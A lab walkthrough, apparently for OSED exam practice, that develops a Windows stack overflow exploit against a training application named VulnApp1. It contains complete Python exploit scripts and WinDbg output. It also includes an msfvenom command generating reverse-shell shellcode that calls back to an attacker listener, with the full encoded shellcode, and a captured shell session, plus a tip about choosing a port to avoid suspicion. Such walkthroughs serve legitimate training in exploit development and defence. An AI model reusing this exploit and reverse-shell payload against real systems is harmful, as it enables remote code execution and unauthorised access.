Vanilla Stack Overflow - Normal Case
How to write an exploit for a stack overflow vulnerability. This walkthrough covers how to write a functional exploit PoC for a stack overflow vulnerability from start to finish.
Getting Started
Connect to the development VM and run WinDbg as Administrator, then start an instance of the application. Below is the initial PoC for the vulnerability we will be developing an exploit for:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import socket
try:
print("\nSending evil buffer...")
buffer = b"A" * 0xA00
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.120.10", 7001))
s.send(buffer)
s.close()
print("\nDone!")
except:
print("\nCould not connect!")
Go ahead and attach the application to WinDbg so we can start debugging it. When that is done you will have something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Microsoft (R) Windows Debugger Version 10.0.18362.1 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
************* Path validation summary **************
Response Time (ms) Location
Deferred srv*c:\symbols
Symbol search path is: srv*c:\symbols
Executable search path is:
ModLoad: 14800000 14816000 C:\Installers\stack_overflow\extra_mile\VulnApp1.exe
...
(1e28.e9c): Break instruction exception - code 80000003 (first chance)
eax=003f8000 ebx=00000000 ecx=77879bc0 edx=77879bc0 esi=77879bc0 edi=77879bc0
eip=77841430 esp=044bff54 ebp=044bff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77841430 cc int 3
The int 3 opcode signifies a interrupt/breakpoint instruction, which WinDbg uses to tell the CPU to stop/pause/halt the application execution flow. This happens because it allows WindDbg to attach/hook itself to the running process, which allows us to monitor and view its execution/logic flow in real-time.
Controlling EIP
In the PoC, there’s the following line:
1
buffer = b"A" * 0xA00
This tells us that a byte of \x41 or A is being multiplied by 0xA00. How do we find out what that is in decimal?
1
2
0:004> ? 0xA00
Evaluate expression: 2560 = 00000a00
We can use WinDbg built-in calculator for that, which tells us that the hexadecimal 0xA00 is 2560 in decimal. This matters because in order to find the EIP offset, we need a way to be able to identify the DWORDs at specific locations, which is why we must randomize the buffer. We can use msf-pattern_create for this task:
1
2
3
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msf-pattern_create -l 2560
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A...
In the PoC, replace the intial b"A" * 0xA00 with the randomly generated characters:
1
buffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab..."
Now save the updated PoC and send it to the application, make sure to restart the application and re-attach it to WinDbg if you sent a buffer to it prior to this step.
1
2
3
4
5
6
7
8
0:004> g
(1e28.1bac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000a00 ebx=31784330 ecx=43367843 edx=43327843 esi=35784334 edi=78433378
eip=33794332 esp=047bee6c ebp=79433179 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
33794332 ?? ???
We should get something like the output above, from there, we will use msf-pattern_offset to find the offset. To do this, we need whatever address the EIP is pointing to:
1
2
3
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msf-pattern_offset -l 2560 -q 33794332
[*] Exact match at offset 2288
The output above tells us the offset is 2288. We can use the new information to update the PoC, at this point we should have control over the EIP register. Here’s the updated PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
import socket
try:
print("[+] Sending exploit...")
buffer = b"\x41" * 2288 # EIP Offset
buffer += b"\x42" * 4 # EIP
buffer += b"\x44" * (2560 - len(buffer))
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.242.10", 7001))
s.send(buffer)
s.close()
print("[+] Exploit delivered.")
except:
print("[-] Could not connect.")
Verify EIP Control
Let’s verify that we have control over the EIP. Go ahead and restart everything and attach the running process of the application to WinDbg.
1
2
3
4
eax=00000a00 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=42424242 esp=0485ee6c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
42424242 ?? ???
The output above shows that we do indeed have control over the EIP register, now, let’s find bad characters so we can remove them when we generate the meterpreter reserve shell payload.
Finding Bad Characters
Here is the updated exploit that we will be using to find the bad characters:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python
import socket
# Bad Characters
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars += b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars += b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars += b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars += b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars += b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars += b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars += b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars += b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
try:
print("[+] Sending exploit...")
filler = b"\x41" * 2288 # Filler
eip = b"\x42" * 4 # EIP
offset = b"\x43" * 4 # Offset
shellcode = b"\x44" * (2560 - len(filler + eip + offset))
payload = filler + eip + offset + badchars
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.242.10", 7001))
s.send(payload)
s.close()
print("[+] Exploit delivered.")
except:
print("[-] Could not connect.")
Save the updated PoC and send it to the target application that should be running on the development VM.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:001> db esp - 10 L120
0275ee5c 41 41 41 41 42 42 42 42-43 43 43 43 01 02 03 04 AAAABBBBCCCC....
0275ee6c 05 06 07 08 09 0a 0b 0c-0d 0e 0f 10 11 12 13 14 ................
0275ee7c 15 16 17 18 19 1a 1b 1c-1d 1e 1f 20 21 22 23 24 ........... !"#$
0275ee8c 25 26 27 28 29 2a 2b 2c-2d 2e 2f 30 31 32 33 34 %&'()*+,-./01234
0275ee9c 35 36 37 38 39 3a 3b 3c-3d 3e 3f 40 41 42 43 44 56789:;<=>?@ABCD
0275eeac 45 46 47 48 49 4a 4b 4c-4d 4e 4f 50 51 52 53 54 EFGHIJKLMNOPQRST
0275eebc 55 56 57 58 59 5a 5b 5c-5d 5e 5f 60 61 62 63 64 UVWXYZ[\]^_`abcd
0275eecc 65 66 67 68 69 6a 6b 6c-6d 6e 6f 70 71 72 73 74 efghijklmnopqrst
0275eedc 75 76 77 78 79 7a 7b 7c-7d 7e 7f 80 81 82 83 84 uvwxyz{|}~......
0275eeec 85 86 87 88 89 8a 8b 8c-8d 8e 8f 90 91 92 93 94 ................
0275eefc 95 96 97 98 99 9a 9b 9c-9d 9e 9f a0 a1 a2 a3 a4 ................
0275ef0c a5 a6 a7 a8 a9 aa ab ac-ad ae af b0 b1 b2 b3 b4 ................
0275ef1c b5 b6 b7 b8 b9 ba bb bc-bd be bf c0 c1 c2 c3 c4 ................
0275ef2c c5 c6 c7 c8 c9 ca cb cc-cd ce cf d0 d1 d2 d3 d4 ................
0275ef3c d5 d6 d7 d8 d9 da db dc-dd de df e0 e1 e2 e3 e4 ................
0275ef4c e5 e6 e7 e8 e9 ea eb ec-ed ee ef f0 f1 f2 f3 f4 ................
0275ef5c f5 f6 f7 f8 f9 fa fb fc-fd fe ff
It doesn’t seem like we have any other bad character other than the null byte \x00, which by default is always a bad character and it’s safer to remove it from both the shellcode and anywhere in the exploit. At this point, we have control of the EIP register and plenty of space for our shellcode that is easily accessible through the ESP register. We also know which characters are safe, and which are not. Our next task is to find a way to redirect the execution flow to the shellcode located at the memory address the ESP register is pointing to at the time of the crash.
Finding a Return Address (Jump Instruction)
We can still store our shellcode at the address pointed to by ESP, but we need a consistent way to execute that code. One solution is to leverage a JMP ESP instruction, which as the name suggests, “jumps” to the address pointed by ESP when it executes. If we can find a reliable static address that contains this instruction, we can redirect EIP to this address. Then, at the time of the crash, the JMP ESP instruction will be executed and this “indirect jump” will direct the execution flow into our shellcode.
1
2
0:001> !nmod
14800000 14816000 VulnApp1 /SafeSEH OFF /GS C:\Installers\stack_overflow\extra_mile\VulnApp1.exe
Using the Narly extension, we can see that this module was not compiled with any security mitigations, which makes things simpler for us as exploit developers. Now, let’s find us valid jump instructions that we can use.
1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Using msf-nasm_shell we are able to find the opcode for the jmp esp instruction, which essentially tells the EIP to resume the execution flow at whatever address the ESP contains or is pointing to. Let’s search for it.
1
2
3
4
5
# Get module address
0:001> lm m VulnApp1
Browse full module list
start end module name
14800000 14816000 VulnApp1 (deferred)
1
2
3
# Search for jmp esp in the module
0:001> s -b 14800000 14816000 0xff 0xe4
148010cf ff e4 83 7d f8 00 75 03-58 5b c3 5b 8b e5 5d c3 ...}..u.X[.[..]
The search result shows there’s one address that contains that instruction in the application. Let’s verify that.
1
2
3
4
5
6
7
8
9
10
11
0:001> u 148010cf
*** WARNING: Unable to verify checksum for C:\Installers\stack_overflow\extra_mile\VulnApp1.exe
VulnApp1+0x10cf:
148010cf ffe4 jmp esp
148010d1 837df800 cmp dword ptr [ebp-8],0
148010d5 7503 jne VulnApp1+0x10da (148010da)
148010d7 58 pop eax
148010d8 5b pop ebx
148010d9 c3 ret
148010da 5b pop ebx
148010db 8be5 mov esp,ebp
This shows the first instruction at this location is indeed a jmp esp instruction, which is exactly what we need to redirect the execution flow to our controlled buffer/shellcode. Let’s update the PoC once more and test the newly added jmp esp instruction.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
import socket
# Bad Characters: \x00
eipOffset = 2288
try:
print("[+] Sending exploit...")
filler = b"\x41" * eipOffset # Filler
eip = b"\xcf\x10\x80\x14" # JMP ESP: 0x148010cf --> Little Endian
offset = b"\x90" * 4 # Offset: NOP
shellcode = b"\x44" * (2560 - len(filler + eip + offset))
payload = filler + eip + offset + shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.242.10", 7001))
s.send(payload)
s.close()
print("[+] Exploit delivered.")
except:
print("[-] Could not connect.")
Before sending the payload, lets set a breakpoint on the address/DWORD in the EIP. This allows us to single step through the instructions to ensure that everything is in the right place, and if we don’t set the breakpoint, the program will crash because it wouldn’t be able to resolve the current placeholder values for the shellcode.
1
2
3
4
0:004> bp 0x148010cf
*** WARNING: Unable to verify checksum for C:\Installers\stack_overflow\extra_mile\VulnApp1.exe
0:004> bl
0 e Disable Clear 148010cf 0001 (0001) 0:**** VulnApp1+0x10cf
With the breakpoint set, resume the execution flow and send the payload.
1
2
3
4
5
6
7
0:004> g
Breakpoint 0 hit
eax=00000a00 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=148010cf esp=047fee6c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VulnApp1+0x10cf:
148010cf ffe4 jmp esp {047fee6c}
The output above shows that the CPU hit the breakpoint we set, now we can single step through the execution flow to observe what happens after we take the jump.
1
2
3
4
5
6
7
0:001> t
eax=00000a00 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=047fee6c esp=047fee6c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
047fee6c 44 inc esp
0:001> dc eip L4
047fee6c 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
The output above shows that after the jump we should direct the execution flow to the shellcode, meaning the CPU will start executing the shellcode instructions and if we have a listener open, we should catch the reverse shell. Let’s test that.
Getting a Reverse Shell
Metasploit Framework provides us with tools and utilities that make generating complex payloads simple. To build our shellcode, we’ll use the MSFVenom tool. It can generate shellcode payloads and encode them using a variety of different encoders. Currently, the msfvenom command can automatically generate over 1000 shellcode payload options.
1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msfvenom -l payloads
Framework Payloads (1471 total) [--payload <value>]
==================================================
We have about 1,471 payloads to choose from, that is indeed a lot of options. The msfvenom commands are very intuitive and easy to use. We can use the -p flag to specify the payload, which could be any one of the 1,471 payloads that are available as of this writing. In out case, we will be using the windows/shell_reverse_tcp payload because the target host OS is Windows, and this basically acts like a Netcat reverse shell if you are familiar with it. Next, we have to specify the LHOST flag, which will contain the IP address of the machine listening for the reverse shell, in this scenario it will be our Kali VM’s IP address. We also have to provide the port we will be listening on with the LPORT flag, this can be any port but I like to use the same port number the application is listening on, because we know it’s open for certain and could also help evade any suspicion because the port the application is listening on is expected to be open and should have traffic flowing through.
Lastly, we can use the -f flag to specify the language the payload should be generated/formatted in, the -v flag for the shellcode variable name, -b flag for bad characters that should be avoided, and -e flag to specify an encoder. There are other flags but these are the ones that we really need. Following its execution, the default exit method of a Metasploit shellcode is the ExitProcess API. This exit method will shut down the whole web service process when the reverse shell is terminated, effectively killing the VulnApp1 service and causing it to crash.
If the program we are exploiting is a threaded application, as in this case, we can try to avoid crashing the service completely by using the ExitThread API to only terminate the affected thread of the program. This allows our exploit to work without interrupting the usual operation of the VulnApp1 server. We can exploit the server and exit the shell multiple times without crashing the service.
1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.215 LPORT=7001 EXITFUNC=thread -f python –e x86/shikata_ga_nai -b "\x00" -v shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(oscp㉿OSCP-KL-01)-[/OSED]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.215 LPORT=7001 EXITFUNC=thread -f python –e x86/shikata_ga_nai -b "\x00" -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode = b""
shellcode += b"\xbf\xd4\x17\x3a\x6e\xda\xc2\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xea\xfc\x31\x7a\x0e"
shellcode += b"\x03\xae\x19\xd8\x9b\xb2\xce\x9e\x64\x4a\x0f"
shellcode += b"\xff\xed\xaf\x3e\x3f\x89\xa4\x11\x8f\xd9\xe8"
shellcode += b"\x9d\x64\x8f\x18\x15\x08\x18\x2f\x9e\xa7\x7e"
shellcode += b"\x1e\x1f\x9b\x43\x01\xa3\xe6\x97\xe1\x9a\x28"
shellcode += b"\xea\xe0\xdb\x55\x07\xb0\xb4\x12\xba\x24\xb0"
shellcode += b"\x6f\x07\xcf\x8a\x7e\x0f\x2c\x5a\x80\x3e\xe3"
shellcode += b"\xd0\xdb\xe0\x02\x34\x50\xa9\x1c\x59\x5d\x63"
shellcode += b"\x97\xa9\x29\x72\x71\xe0\xd2\xd9\xbc\xcc\x20"
shellcode += b"\x23\xf9\xeb\xda\x56\xf3\x0f\x66\x61\xc0\x72"
shellcode += b"\xbc\xe4\xd2\xd5\x37\x5e\x3e\xe7\x94\x39\xb5"
shellcode += b"\xeb\x51\x4d\x91\xef\x64\x82\xaa\x14\xec\x25"
shellcode += b"\x7c\x9d\xb6\x01\x58\xc5\x6d\x2b\xf9\xa3\xc0"
shellcode += b"\x54\x19\x0c\xbc\xf0\x52\xa1\xa9\x88\x39\xae"
shellcode += b"\x1e\xa1\xc1\x2e\x09\xb2\xb2\x1c\x96\x68\x5c"
shellcode += b"\x2d\x5f\xb7\x9b\x52\x4a\x0f\x33\xad\x75\x70"
shellcode += b"\x1a\x6a\x21\x20\x34\x5b\x4a\xab\xc4\x64\x9f"
shellcode += b"\x7c\x94\xca\x70\x3d\x44\xab\x20\xd5\x8e\x24"
shellcode += b"\x1e\xc5\xb1\xee\x37\x6c\x48\x79\xf8\xd9\x7f"
shellcode += b"\xae\x90\x1b\x7f\x4b\x38\x95\x99\x01\xaa\xf3"
shellcode += b"\x32\xbe\x53\x5e\xc8\x5f\x9b\x74\xb5\x60\x17"
shellcode += b"\x7b\x4a\x2e\xd0\xf6\x58\xc7\x10\x4d\x02\x4e"
shellcode += b"\x2e\x7b\x2a\x0c\xbd\xe0\xaa\x5b\xde\xbe\xfd"
shellcode += b"\x0c\x10\xb7\x6b\xa1\x0b\x61\x89\x38\xcd\x4a"
shellcode += b"\x09\xe7\x2e\x54\x90\x6a\x0a\x72\x82\xb2\x93"
shellcode += b"\x3e\xf6\x6a\xc2\xe8\xa0\xcc\xbc\x5a\x1a\x87"
shellcode += b"\x13\x35\xca\x5e\x58\x86\x8c\x5e\xb5\x70\x70"
shellcode += b"\xee\x60\xc5\x8f\xdf\xe4\xc1\xe8\x3d\x95\x2e"
shellcode += b"\x23\x86\xb5\xcc\xe1\xf3\x5d\x49\x60\xbe\x03"
shellcode += b"\x6a\x5f\xfd\x3d\xe9\x55\x7e\xba\xf1\x1c\x7b"
shellcode += b"\x86\xb5\xcd\xf1\x97\x53\xf1\xa6\x98\x71"
When it comes to exploit development or the utilization of an exploit, always make sure you understand what’s going on under the hood before blindly running an exploit, especially the ones publicly available on the internet. If it contains anything that looks like shellcode or arbitrary hexadecimal byte-array, proceed with caution. Below is the updated PoC with the shellcode that we just generated.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python
import socket
import sys
from struct import pack
# Bad Characters: \x00
shellcode = b"\x90" * 10 # Safe NOP
shellcode += b"\xbf\xd4\x17\x3a\x6e\xda\xc2\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xea\xfc\x31\x7a\x0e"
shellcode += b"\x03\xae\x19\xd8\x9b\xb2\xce\x9e\x64\x4a\x0f"
shellcode += b"\xff\xed\xaf\x3e\x3f\x89\xa4\x11\x8f\xd9\xe8"
shellcode += b"\x9d\x64\x8f\x18\x15\x08\x18\x2f\x9e\xa7\x7e"
shellcode += b"\x1e\x1f\x9b\x43\x01\xa3\xe6\x97\xe1\x9a\x28"
shellcode += b"\xea\xe0\xdb\x55\x07\xb0\xb4\x12\xba\x24\xb0"
shellcode += b"\x6f\x07\xcf\x8a\x7e\x0f\x2c\x5a\x80\x3e\xe3"
shellcode += b"\xd0\xdb\xe0\x02\x34\x50\xa9\x1c\x59\x5d\x63"
shellcode += b"\x97\xa9\x29\x72\x71\xe0\xd2\xd9\xbc\xcc\x20"
shellcode += b"\x23\xf9\xeb\xda\x56\xf3\x0f\x66\x61\xc0\x72"
shellcode += b"\xbc\xe4\xd2\xd5\x37\x5e\x3e\xe7\x94\x39\xb5"
shellcode += b"\xeb\x51\x4d\x91\xef\x64\x82\xaa\x14\xec\x25"
shellcode += b"\x7c\x9d\xb6\x01\x58\xc5\x6d\x2b\xf9\xa3\xc0"
shellcode += b"\x54\x19\x0c\xbc\xf0\x52\xa1\xa9\x88\x39\xae"
shellcode += b"\x1e\xa1\xc1\x2e\x09\xb2\xb2\x1c\x96\x68\x5c"
shellcode += b"\x2d\x5f\xb7\x9b\x52\x4a\x0f\x33\xad\x75\x70"
shellcode += b"\x1a\x6a\x21\x20\x34\x5b\x4a\xab\xc4\x64\x9f"
shellcode += b"\x7c\x94\xca\x70\x3d\x44\xab\x20\xd5\x8e\x24"
shellcode += b"\x1e\xc5\xb1\xee\x37\x6c\x48\x79\xf8\xd9\x7f"
shellcode += b"\xae\x90\x1b\x7f\x4b\x38\x95\x99\x01\xaa\xf3"
shellcode += b"\x32\xbe\x53\x5e\xc8\x5f\x9b\x74\xb5\x60\x17"
shellcode += b"\x7b\x4a\x2e\xd0\xf6\x58\xc7\x10\x4d\x02\x4e"
shellcode += b"\x2e\x7b\x2a\x0c\xbd\xe0\xaa\x5b\xde\xbe\xfd"
shellcode += b"\x0c\x10\xb7\x6b\xa1\x0b\x61\x89\x38\xcd\x4a"
shellcode += b"\x09\xe7\x2e\x54\x90\x6a\x0a\x72\x82\xb2\x93"
shellcode += b"\x3e\xf6\x6a\xc2\xe8\xa0\xcc\xbc\x5a\x1a\x87"
shellcode += b"\x13\x35\xca\x5e\x58\x86\x8c\x5e\xb5\x70\x70"
shellcode += b"\xee\x60\xc5\x8f\xdf\xe4\xc1\xe8\x3d\x95\x2e"
shellcode += b"\x23\x86\xb5\xcc\xe1\xf3\x5d\x49\x60\xbe\x03"
shellcode += b"\x6a\x5f\xfd\x3d\xe9\x55\x7e\xba\xf1\x1c\x7b"
shellcode += b"\x86\xb5\xcd\xf1\x97\x53\xf1\xa6\x98\x71"
shellcode += b"\x90" * (400 - len(shellcode)) # Safe NOP
# ----------------------------- Don't Update Below ----------------------------- #
# Exit Condition
if len(sys.argv) != 2:
print(f"[i] OSED VulnApp1 Stack Overflow.")
print(f"[i] Exploit Usage: {sys.argv[0]} <Target IP>")
sys.exit(1)
# Exploit runtime variables
eipOffset = 2288
server = sys.argv[1]
port = 7001
try:
print("[+] Sending exploit...")
filler = b"\x41" * eipOffset # Filler
eip = pack("<L", 0x148010cf) # JMP ESP: 0x148010cf --> Little Endian
offset = b"\x90" * 4 # Offset: NOP
payload = filler + eip + offset + shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(server, port)
s.send(payload)
s.close()
print("[+] Exploit delivered.")
except:
print("[-] Could not connect.")
Testing Exploit
Go ahead and start a Netcat listener on whatever machine’s IP you used in the msfvenom shellcode generation.
1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[~/OSED]
└─$ sudo nc -lvnp 7001
[sudo] password for oscp:
listening on [any] 7001 ...
Now, let’s send the payload one last time to confirm it works.
1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[~/OSED]
└─$ python poc.py 192.168.242.10
[+] Sending exploit...
[+] Exploit delivered.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(oscp㉿OSCP-KL-01)-[~/OSED]
└─$ sudo nc -lvnp 7001
[sudo] password for oscp:
listening on [any] 7001 ...
connect to [192.168.45.215] from (UNKNOWN) [192.168.242.10] 61118
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Installers\stack_overflow\extra_mile>whoami
whoami
client\offsec
C:\Installers\stack_overflow\extra_mile>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.242.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.242.254
Tunnel adapter Teredo Tunneling Pseudo-Interface:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
C:\Installers\stack_overflow\extra_mile>
You should be able to get a reserve shell, however, I don’t think this app is truly multi-threaded like I thought earlier, because it doesn’t seem to work after exiting the initial reverse shell and within the same process lifecycle when I tried to get another shell. It seems to be throwing an access violation. Either way, we are still able to get a reverse shell reliably on a new instance of the application. It’s worth noting that we will have to restart the application every time we exploit it to get a reverse shell.